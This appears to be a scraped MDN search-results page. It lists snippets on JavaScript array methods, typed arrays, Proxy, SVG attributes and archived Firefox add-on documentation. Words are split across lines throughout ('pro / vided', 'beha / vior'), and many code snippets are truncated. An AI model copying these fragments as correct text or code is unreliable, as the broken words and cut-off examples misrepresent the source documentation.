vious callback call), the value of the current element, the current index, and the array over which iteration is occurring.
...if an initialvalue was pro
vided in the call to reduceright, then accumulator will be equal to initialvalue and currentvalue will be equal to the last value in the array.
...And 4 more matches
Array.prototype.every() - JavaScript
the every() method tests whether all elements in the array pass the test implemented by the pro
vided function.
... description the every method executes the pro
vided callback function once for each element present in the array until it finds the one where callback returns a falsy value.
... if a thisarg parameter is pro
vided to every, it will be used as callback's this value.
...And 4 more matches
Array.prototype.map() - JavaScript
the map() method creates a new array populated with the results of calling a pro
vided function on every element in the calling array.
... description map calls a pro
vided callback function once for each element in an array, in order, and constructs a new array from the results.
... if a thisarg parameter is pro
vided, it will be used as callback's this value.
...And 4 more matches
BigInt64Array - JavaScript
if control over byte order is needed, use data
view instead.
... bigint64array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... bigint64array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
BigUint64Array - JavaScript
if control over byte order is needed, use data
view instead.
... biguint64array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... biguint64array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
Float32Array - JavaScript
if control over byte order is needed, use data
view instead.
... float32array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... float32array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
Float64Array - JavaScript
if control over byte order is needed, use data
view instead.
... float64array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... float64array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
Int16Array - JavaScript
if control over byte order is needed, use data
view instead.
... int16array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... int16array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
Int32Array - JavaScript
if control over byte order is needed, use data
view instead.
... int32array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... int32array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
Intl.NumberFormat() constructor - JavaScript
there is no default value; if the style is "currency", the currency property must be pro
vided.
... "engineering" return the exponent of ten when di
visible by three "compact" string representing exponent, defaults is using the "short" form.
...there is no default value; if the style is "unit", the unit property must be pro
vided.
...And 4 more matches
Intl - JavaScript
the intl object is the namespace for the ecmascript internationalization api, which pro
vides language sensitive string comparison, number formatting, and date and time formatting.
... the intl object pro
vides access to several constructors as well as functionality common to the internationalization constructors and other language sensitive functions.
... if the locales argument is not pro
vided or is undefined, the runtime's default locale is used.
...And 4 more matches
JSON.stringify() - JavaScript
replacer optional a function that alters the beha
vior of the stringification process, or an array of string and number that serve as an allowlist for selecting/filtering the properties of the value object to be included in the json string.
... if this value is null or not pro
vided, all properties of the object are included in the resulting json string.
...if this parameter is not pro
vided (or is null), no white space is used.
...And 4 more matches
Proxy - JavaScript
ves just like the original target: console.log(proxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the proxy, we define functions on the handler object: const target = { message1: "hello", message2: "everyone" }; const handler2 = { get: function(target, prop, receiver) { return "world"; } }; const proxy2 = new proxy(target, handler2); here we've pro
vided an implementation of the get() handler, which intercepts attempts to access properties in the target.
...the very simple trap in handler2 above redefines all property accessors: console.log(proxy2.message1); // world console.log(proxy2.message2); // world with the help of the reflect class we can give some accessors the original beha
vior and redefine others: const target = { message1: "hello", message2: "everyone" }; const handler3 = { get: function (target, prop, receiver) { if (prop === "message2") { return "world"; } return reflect.get(...arguments); }, }; const proxy3 = new proxy(target, handler3); console.log(proxy3.message1); // hello console.log(proxy3.message2); // world constructor proxy() creates a new proxy object.
... let validator = { set: function(obj, prop, value) { if (prop === 'age') { if (!number.isinteger(value)) { throw new typeerror('the age is not an integer'); } if (value > 200) { throw new rangeerror('the age seems invalid'); } } // the default beha
vior to store the value obj[prop] = value; // indicate success return true; } }; const person = new proxy({}, validator); person.age = 100; console.log(person.age); // 100 person.age = 'young'; // throws an exception person.age = 300; // throws an exception extending constructor a function proxy could easily extend a constructor with a new constructor.
...And 4 more matches
TypedArray.prototype.reduce() - JavaScript
syntax typedarray.reduce(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: pre
viousvalue the value pre
viously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduce method executes the callback function once for each element present in the typed array, excluding holes in the typed array, recei
ving four arguments: the initial value (or value from the pre
vious callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
... the first time the callback is called, pre
viousvalue and currentvalue can be one of two values.
...And 4 more matches
Uint16Array - JavaScript
if control over byte order is needed, use data
view instead.
... uint16array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... uint16array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
Uint32Array - JavaScript
if control over byte order is needed, use data
view instead.
... uint32array.prototype.every() tests whether all elements in the array pass the test pro
vided by a function.
... uint32array.prototype.filter() creates a new array with all of the elements of this array for which the pro
vided filtering function returns true.
...And 4 more matches
WebAssembly.Module - JavaScript
examples sending a compiled module to a worker the following example (see our index-compile.html demo on github, and
view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends the resulting module instance to a worker using postmessage().
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodulechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox...
... 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
...And 4 more matches
globalThis - JavaScript
property attributes of globalthis writable yes enumerable no configurable yes description historically, accessing the global object has required different syntax in different javascript en
vironments.
...you can also use function('return this')(), but en
vironments that disable eval(), like csp in browsers, prevent use of function in this way.
... the globalthis property pro
vides a standard way of accessing the global this value (and hence the global object itself) across en
vironments.
...And 4 more matches
this - JavaScript
es5 introduced the bind() method to set the value of a function's this regardless of how it's called, and es2015 introduced arrow functions which don't pro
vide their own this binding (it retains the this value of the enclosing lexical context).
... class context the beha
vior of this in classes and functions is similar, since classes are functions under the hood.
...in the above code example, function b's this is set to function a's this which is obj, so it remains set to obj even when called in a manner that would normally set its this to undefined or the global object (or any other method as in the pre
vious example in the global execution context).
...And 4 more matches
Transitioning to strict mode - JavaScript
this article aims at pro
viding guidance for developers.
...it is possible to change each file indi
vidually and even to transition code to strict mode down to the function granularity.
... differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in pre
vision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } ob
vious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128).
...And 4 more matches
Recommended Web Performance Timings: How long is too long? - Web Performance
a 'hello world' on the corporate network would be expected to load in milliseconds, but a user downloading a cat
video on a five-year-old de
vice over an edge network in northern siberia would likely find a 20-second download speedy.
... if you wait three or four seconds without communicating to the user that a load is happening and showing some progress, the typical site will lose potential
visitors, and those
visitors will take a long time to come back if they ever do.
... in optimizing for performance, do set an ambitious first load goal, such as 5 seconds over the mobile 3g network and 1.5 seconds on an office t1 line, with even more ambitious page load goals for subsequent page loads, leveraging ser
vice workers and caching.
...And 4 more matches
begin - SVG: Scalable Vector Graphics
each indi
vidual value can be one of the following : <offset-value>, <syncbase-value>, <event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite.
...the beha
vior is the same as if node.removechild() were called on the parent of the target element with the target element as parameter.
... examples offset example <svg width="120" height="120"
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" dur="8s" fill="freeze" /> </rect> <rect x="35" y="60" height="15" width="0"> <animate attributetype="xml" attribut...
...And 4 more matches
fill-rule - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polygon>, <polyline>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- default value for fill-rule --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- the center of the shape has two path segments (shown by the red stroke) between it and infinity.
... --> <polygon fill-rule="evenodd" stroke="red" points="150,0 121,90 198,35 102,35 179,90"/> </svg> usage notes value nonzero | evenodd default value nonzero animatable yes the fill-rule attribute pro
vides two options for how the inside (that is, the area to be filled) of a shape is determined: nonzero the value nonzero determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction, and then examining the places where a segment of the shape crosses the ray.
... example html,body,svg { height:100% } <svg
viewbox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> <!-- effect of nonzero fill rule on crossing path segments --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- effect of nonzero fill rule on a shape inside a shape with the path segment mo
ving in the same direction (both squares drawn clockwise, to the "right") --> <path fill-rule="nonzero" stroke="red" d="m110,0 h90 v90 h...
...And 4 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"> <!-- upper left path: effect of the "miter" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- center path: effect of the "round" value --> <path d="m7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="round" /...
... example html,body,svg { height:100% } <svg
viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "arcs" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="pink" fill="none" stroke-w...
... example html,body,svg { height:100% } <svg
viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "bevel" value --> <path d="m1,5 l2,-3 l2,3" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /...
...And 4 more matches
Content type - SVG: Scalable Vector Graphics
for properties defined in css2, an angle unit identifier must be pro
vided.
...if not pro
vided, the angle value is assumed to be in degrees.
... in addition to these color keywords, users may specify keywords that correspond to the colors used by objects in the user's en
vironment.
...And 4 more matches
<pattern> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"> <defs> <pattern id="star"
viewbox="0,0,10,10" width="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg> attributes height this attribute determines the height of the pattern tile.
... value type: <length>|<percentage>; default value: 0; animatable: yes href this attribute reference a template pattern that pro
vides default values for the <pattern> attributes.
... value type: userspaceonuse|objectboundingbox; default value: userspaceonuse; animatable: yes note: this attribute has no effect if a
viewbox attribute is specified on the <pattern> element.
...And 4 more matches
<svg> - SVG: Scalable Vector Graphics
the svg element is a container that defines a new coordinate system and
viewport.
... html,body,svg { height:100% } <svg
viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg
viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires.
... value type: <string> ; default value: text/css; animatable: no height the displayed height of the rectangular
viewport.
...And 4 more matches
Scripting - SVG: Scalable Vector Graphics
one can override default browser beha
viors with the evt.preventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", "").
... preventing default beha
vior in event code when writing drag and drop code, sometimes you'll find that text on the page gets accidently selected while dragging.
... or if you want to use the backspace key in your code, you want to override the browser's default beha
vior when the backspace key is pressed, which is to go back to the pre
vious page.
...And 4 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
« pre
viousnext » there are several ways to color shapes (including specifying attributes on the object) using inline css, an embedded css section, or an external css file.
...but for compatibility with other
viewers, it's often best to specify the fill/stroke opacity separately.
...not all attributes can be set
via css.
...And 4 more matches
Filter effects - SVG: Scalable Vector Graphics
« pre
viousnext » there are situations, where basic shapes do not pro
vide the flexibility you need to achieve a certain effect.
... drop shadows, to pro
vide a popular example, cannot be created reasonably with a combination of gradients.
...between the filter tags, goes a list of primitives, basic operations that build on top of the pre
vious operations (like blurring, adding a lighting effect, etc).
...And 4 more matches
Getting started - SVG: Scalable Vector Graphics
« pre
viousnext » a simple example let us dive straight in with a simple example.
...the globally valid rule for svg files is, that later elements are rendered atop pre
vious elements.
... the further down an element is the more it will be
visible.
...And 4 more matches
Web Components
custom elements: a set of javascript apis that allow you to define custom elements and their beha
viour, which can then be used as desired in your user interface.
... life cycle callbacks special callback functions defined inside the custom element's class definition, which affect its beha
vior: connectedcallback: invoked when the custom element is first connected to the document's dom.
... specifications specification status comment html li
ving standardthe definition of '<template> element' in that specification.
...And 4 more matches
Contributor's Guide - Archive of obsolete content
classes and inheritance a class is a blueprint from which indi
vidual objects are created.
... these indi
vidual objects are the instances of the class.
...data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have beha
vior.
...And 3 more matches
panel - Archive of obsolete content
its content is specified as html and you can execute scripts in it, so the appearance and beha
vior of the panel is limited only by what you can do using html, css, and javascript.
...this makes your code easier to maintain, secure, debug and re
view.
... the main add-on code is exactly the same as the main add-on code in the pre
vious example, except that we don't attach a content script: var data = require("sdk/self").data; // construct a panel, loading its content from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it.
...And 3 more matches
simple-prefs - Archive of obsolete content
if you need to get and set the general browser preferences, use preferences/ser
vice.
... to pro
vide this mapping the boolint requires two mandatory attributes called "on" and "off", both of which are supplied as strings.
... this type requires a mandatory attribute called "label" which is pro
vided as a string.
...And 3 more matches
system - Archive of obsolete content
query the add-on's en
vironment and access arguments passed to it.
... usage querying your en
vironment using the system module you can access en
vironment variables (such as path), find out which operating system your add-on is running on and get information about the host application (for example, firefox or fennec), such as its version.
... var system = require("sdk/system"); // path en
vironment variable console.log(system.env.path); // operating system console.log("platform = " + system.platform); // processor architecture console.log("architecture = " + system.architecture); // compiler used to build host application console.log("compiler = " + system.compiler); // host application build identifier console.log("build = " + system.build); // host application uuid console.log("id = " + system.id); // host application name console.log("name = " + system.name); // host application version console.log("version = " + system.version); // host application vendor console.log("vendor = " + system.vendor); // host application profile directory console.log("profile directory = " + system.pathfor("profd")); quit the host application t...
...And 3 more matches
windows - Archive of obsolete content
usage the windows module pro
vides basic functions for working with browser windows.
... converting to chrome windows to convert from the browserwindow objects used in this api to the chrome window objects used in the window/utils api, use the
viewfor() function exported by the
viewfor module.
... here's an example converting from a high-level browserwindow to a chrome window, and then back the other way: var { modelfor } = require("sdk/model/core"); var {
viewfor } = require("sdk/
view/core"); var browserwindows = require("sdk/windows").browserwindows; function converttochromeandback(browserwindow) { // get the chrome window for this browserwindow var chromewindow =
viewfor(browserwindow); // now we can use the chrome window api console.log(chromewindow.document.location.href); // -> "chrome://browser/content/browser.xul" // convert back to the high-level window var highlevelwindow = modelfor(chromewindow); // now we can us...
...And 3 more matches
event/target - Archive of obsolete content
this module pro
vides an exemplar eventtarget object, that implements an interface for adding and remo
ving event listeners of a specific type.
... adding listeners eventtarget interface defines on method, that can be used to register event listeners on them for the given event type: target.on('message', function onmessage(message) { // note: `this` pseudo variable is an event `target` unless // intentionally overridden
via `.bind()`.
...eventtarget interface defines convenience method for adding one shot event listeners
via method once.
...And 3 more matches
remote/parent - Archive of obsolete content
enables you to load modules, and pri
vileged parts of your add-on in general, into child processes.
...these sdk modules have higher pri
vileges than content scripts, and have their own module loader so they can load other sdk modules.
... the sdk/remote/parent module pro
vides port objects for the parent's end of the conversation, and the sdk/remote/child module pro
vides port objects for the child's end.
...And 3 more matches
ui/frame - Archive of obsolete content
for example, this html document defines a <select> element and a couple of <span> elements, and includes a css file to style the content and a javascript script to implement beha
vior: <!doctype html> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="city-selector"></select> <span id="time" class="info-element"></span> <span id="weather" class="info-element"></span> <script type="text/javascript" src="city-info.js"></script> </body> </html> if we save this document as "city-info.html" und...
...you can specify the frame's url property as the targetorigin: frame.postmessage(message, frame.url); this add-on listens for a frame script to send the "city changed" message above, and in response, updates all frames across all browser windows with that city's current weather (it just reads this from a dictionary, where in a real case it might ask a web ser
vice): var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var weather = { "london" : "rainy", "toronto" : "snowy", "san francisco" : "foggy" } var frame = new frame({ url: "./city-info.html", onmessage: (e) => { updateweather(e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); function updatewe...
...quire("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html", onmessage: function(e) { // message only the frame that pinged us e.source.postmessage("pong", e.origin); } }); var toolbar = toolbar({ name: "ping-pong", title: "ping pong", items: [frame] }); this does not have to be the message event: the other events frame can emit: attach, load and ready, also pro
vide access to source and origin.
...And 3 more matches
Creating annotations - Archive of obsolete content
activate the annotator by clicking the widget and load a page: the screenshot below uses http://blog.mozilla.com/addons/2011/02/04/ over
view-amo-re
view-process/.
... you should see the highlight appearing when you move the mouse over certain elements: click on the highlight and you should see something like this in the console output: info: show info: http://blog.mozilla.com/addons/2011/02/04/over
view-amo-re
view-process/, post-2249,when you submit a new add-on, you will have to choose between 2 re
view tracks: full re
view and preliminary re
view.
... annotation editor content script in the corresponding content script we do two things: handle a message from the add-on code by gi
ving the text area focus listen for the return key and when it is pressed, send the contents of the text area to the add-on.
...And 3 more matches
Getting Started (jpm) - Archive of obsolete content
na
vigate to it, type jpm init, and hit enter: mkdir my-addon cd my-addon jpm init you'll then be asked to supply some information about your add-on: this will be used to create your add-on's package.json file.
...this file was created for you in the pre
vious step.
... open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "
visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("http://www.mozilla.org/"); } note that "entry point" defaults to "index.js" in jpm, meaning that your main file is "index.js", and it is found directly in your add-on's root.
...And 3 more matches
Localization - Archive of obsolete content
or example inside a panel: var button = require("sdk/ui/button/action").actionbutton({ id: "localized-hello", label: "localized hello", icon: "./icon-16.png", onclick: function() { hello.show(); } }); var hello = require("sdk/panel").panel({ height: 75, width: 150, contenturl: require("sdk/self").data.url("my-panel.html") }); given locale files for "en-us" and "fr" which pro
vide translations of hello_id, the panel will now display "hello!" or "bonjour !", according to the current locale: the translation is inserted into the node which has the data-l10n-id attribute set.
... any pre
viously existing content is just replaced.
... to pro
vide the localized form of the preference title, include an entry in your "properties" file whose identifier is the preference name followed by _title, and whose value is the localized title.
...And 3 more matches
HTML to DOM - Archive of obsolete content
however, there are potential dangers involved in injecting remote content in a pri
vileged context in your extension, so it can be desirable to parse the html safely.
... function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getser
vice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(ahtmlstring, false, null, body)); return body; } it works by creating a content-level (this is safer than chrome-level) <div> in the current page, then parsing the html fragment and attaching that fragment to the <div>.
...teelement("iframe"); // iframe (or browser on older firefox) frame.setattribute("id", "sample-frame"); frame.setattribute("name", "sample-frame"); frame.setattribute("type", "content"); frame.setattribute("collapsed", "true"); document.getelementbyid("main-window").appendchild(frame); // or // document.documentelement.appendchild(frame); // set restrictions as needed frame.webna
vigation.allowauth = false; frame.webna
vigation.allowimages = false; frame.webna
vigation.allowjavascript = false; frame.webna
vigation.allowmetaredirects = true; frame.webna
vigation.allowplugins = false; frame.webna
vigation.allowsubframes = false; // listen for load frame.addeventlistener("load", function (event) { // the document of the html in the dom var doc = event.originalta...
...And 3 more matches
JS XPCOM - Archive of obsolete content
accessing xpcom components from javascript xpcom objects are either created as new instances (each creation gives you a completely new com object) or as ser
vices (each access gives you the same com object, often called a singleton).
... whether you must create a new instance or access as a ser
vice depends on the contract.
... creating an instance of a component the preferred method of creating xpcom instances is
via the components.constructor helper.
...And 3 more matches
Code snippets - Archive of obsolete content
these examples demonstrate how to accomplish basic tasks that might not be immediately ob
vious.
... string
view a library that implements a string
view
view for javascript typed arrays.
...nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full
virtual machines in pure ecmascript.
...And 3 more matches
Common Pitfalls - Archive of obsolete content
these are the sort of things that super-re
view should be catching for code that goes into the tree; avoiding these to start with saves super-re
viewers a lot of effort.
... how to create a uri object in almost all cases, when creating a uri object you want to use the newuri method on the nsiioser
vice interface, like so: javascript: try { var ioserv = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); var uriobj = ioserv.newuri(uristring, uricharset, baseuri); } catch (e) { // may want to catch ns_error_malformed_uri for some applications } c++: nsresult rv; nscomptr<nsiioser
vice> ioserv = do_getser
vice("@mozilla.org/network...
.../io-ser
vice;1"); ns_ensure_success(rv, rv); nscomptr<nsiuri> uriobj; rv = ioserv->newuri(uristring, uricharset, baseuri, getter_addrefs(uriobj)); if (ns_failed(rv)) { // may want to handle ns_error_malformed_uri for // some applications return rv; } or, if the code can include nsnetutil.h: nscomptr<nsiuri> uriobj; nsresult rv = ns_newuri(getter_addrefs(uriobj), uristring, uricharset, baseuri); in all cases the baseuri can be null if the uristring should be treated as an absolute uri and uricharset can be null if there is no clear origin charset for the string (e.g.
...And 3 more matches
Multiple item extension packaging - Archive of obsolete content
a multiple item package pro
vides the ability to package multiple installable bundles which can then be downloaded and installed by a user, or pro
vided pre-packaged with an application or by an external program.
... every multiple item package must pro
vide an install.rdf file (not old-style install.js!) and has the same requirements as an extension except as noted below.
... the extension manager will read the install.rdf install manifest to determine if this is a multiple item package and then start the installation of the indi
vidual packages it contains automatically.
...And 3 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
« pre
vious this document was authored by taro (btm) matsuzawa and was originally published in japanese for the firefox developers conference summer 2007.
...double-click on quicknote.js to open it in source-code
view (figure 2).
...it pro
vides an ui similar to that of eclipse’s junit test runner.
...And 3 more matches
Appendix A: Add-on Performance - Archive of obsolete content
this is e
vident when opening a firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative
view of firefox.
...the problem with the onload event is that it runs before the main window becomes
visible, so all handlers need to complete before the user can see the window.
... an add-on can normally add a few hundred milliseconds to startup time because of the load handler, and it's not hard to figure out what ha
ving several add-ons will do.
...And 3 more matches
Firefox addons developer guide - Archive of obsolete content
rules: file and directory names: italic method and variable names: class name if you want to add a fixme, add: fixme: a message notes: the original document is in japanese and distributed
via the xuldev.org website.
... there should be some introductory text on the table of contents page at https://developer.mozilla.org/en/firefox_addons_developer_guide ob
viously there are a number of fixme items in the content that need dealing with, but those are already known.
... these should use the pre
vious, next, and prevnext templates to add quick routes to get from chapter to chapter.
...And 3 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched from xulrunner-based client to a web application liferea news aggregator switched to webkit in version 1.6 manyone browser browser originally mozilla-based but now i believe the have a web-based tool (need reference for that) miro (formerly democracy player)
video switched from xulrunner to webkit in version 3.0.2 moblin browser browser when moblin became meego it switched from a custom gecko-based browser to chrome nautilus file manager hasn't used mozilla code since version 2.0 raptr client gaming client was a xulrunner app initially but now uses adobe air rift technologies software installat...
...ion over internet no longer using mozilla technology -- need confirmation and details second life
virtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name description additional information aphrodite browser inactive aol client for mac internet software no longer available beonex communicator internet software last news item on site from 2004 chameleon theme builder inactive ci
vil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compuserve client internet software no longer available doczilla sgml/xml/html...
... browser last release on site from july 2005 fabula language learning application inactive galeon browser last news item on site from september 2006 gencatrss rss reader domain switched over to domain parking ser
vice ghostzilla browser archived version of ghostzilla site from 2005 homebase desktop operating en
vironment for internet computers no longer available hp printer assistant printer utility hall of fame page mentions that this used an embedded version of mozilla at some point but i can't find reference to current status (may still be using mozilla code?) icebrowser java browser sdk uses mozilla rhino --eol'ed in 2009 (jin'sync) office app launcher download page la...
...And 3 more matches
Monitoring WiFi access points - Archive of obsolete content
code with universalxpconnect pri
vileges can monitor the list of available wifi access points to obtain information about them including their ssid, mac address, and signal strength.
... this capability was introduced primarily to allow wifi-based location ser
vices to be used by geolocation ser
vices.
...<html> <head> <title>wifi monitor example</title> <script> var count = 0; function test() { } test.prototype = { onchange: function (accesspoints) { netscape.security.pri
vilegemanager.enablepri
vilege('universalxpconnect'); var d = document.getelementbyid("d"); d.innerhtml = ""; for (var i=0; i<accesspoints.length; i++) { var a = accesspoints[i]; d.innerhtml += "<p>" + a.mac + " " + a.ssid + " " + a.signal + "</p>"; } var c = document.getelementbyid("c"); c.innerhtml = "<p>" + count++ + "</p>"; }, onerror: function (value) { alert("error: " +value); }, queryinterface: function(iid) { netscape.security.pri
vilegemanager.enablepri
vilege('universalx...
...And 3 more matches
Finding the file to modify - Archive of obsolete content
mozilla's ui is di
vided into three layers: the structure, the style, and the beha
vior.
... the structure layer identifies the widgets (menus, buttons, etc.) and their position in the ui relative to each other, the style layer defines how the widgets look (size, color, style, etc.) and their overall position (alignment), and the beha
vior layer specifies how the widgets behave and how users can use them to accomplish their goals.
...in particular, positioning information can be specified in both the structure layer and the style layer, and some beha
vior can be partly defined in the style layer.) we're going to add code to all three ui layers, starting with the structure layer.
...And 3 more matches
Using microformats - Archive of obsolete content
microformats allow web sites to pro
vide semantic data to the browser in order to make it possible to present summaries of the information on a page without ha
ving to know how to parse the document itself.
... firefox 3 implements a global microformats object that pro
vides access to microformats.
... predefined microformats firefox 3 pro
vides definitions implementing several common microformats: adr represents an address (such as a street or mailing address).
...And 3 more matches
Firefox Sync - Archive of obsolete content
components and ser
vices sync refers to a family of related components and ser
vices which pro
vide synchronization of data between mozilla application instances.
... these components and ser
vices include: firefox sync client the sync client bundled with mozilla products.
... it exists as a core javascript module pro
viding generic functionality and ui components for each product.
...And 3 more matches
Mozilla Application Framework - Archive of obsolete content
related: xulrunner:what xulrunner pro
vides, xulrunner hall of fame the mozilla application framework: for powerful, easy to develop cross-platform applications want to build applications?
...we pro
vide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a community of people to help.
... web ser
vices built-in support for xmlhttprequest, xml-rpc, soap, and wsdl to enable mozilla-based application authors to take advantage of the exploding world of web ser
vices.
...And 3 more matches
Tamarin Acceptance Test Template - Archive of obsolete content
this is the test template for tamarin acceptance tests (placed in test/acceptance/feature_name): /* -*- mode: js; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */ /*
vi: set ts=4 sw=4 expandtab: (add to ~/.
vimrc: set modeline modelines=5) */ /* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file except in compliance with * the license.
... * * the original code is [open source
virtual machine.].
... * * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the pro
visions of the gpl or the lgpl are applicable instead * of those above.
...And 3 more matches
Treehydra Manual - Archive of obsolete content
callbacks and gcc intermediate representations like dehydra, treehydra sends program representations to the user javascript
via callbacks.
...treehydra pro
vides the following callbacks to analysis scripts: process_tree_decl, process_tree, process_tree_type, and process_cp_pre_genericize.
...c++ asts c++ asts are pro
vided
via the process_cp_pre_genericize callback.
...And 3 more matches
Anonymous Content - Archive of obsolete content
a sample xbl binding for the file widget might look as follows: <binding id="fileupload"> <content> <html:input type="text"/> <html:input type="button"/> </content> </binding> because this content is not
visible to its parent element, it is said to be anonymous content.
...the anonymous content is not accessible
via the childnodes list for the bound element, nor is it accessible using firstchild/nextsibling to iterate over the children of the bound element.
... [editor's note: should there be an api for retrie
ving insertion points, for dynamically creating new insertion points, or for remo
ving insertion points?
...And 3 more matches
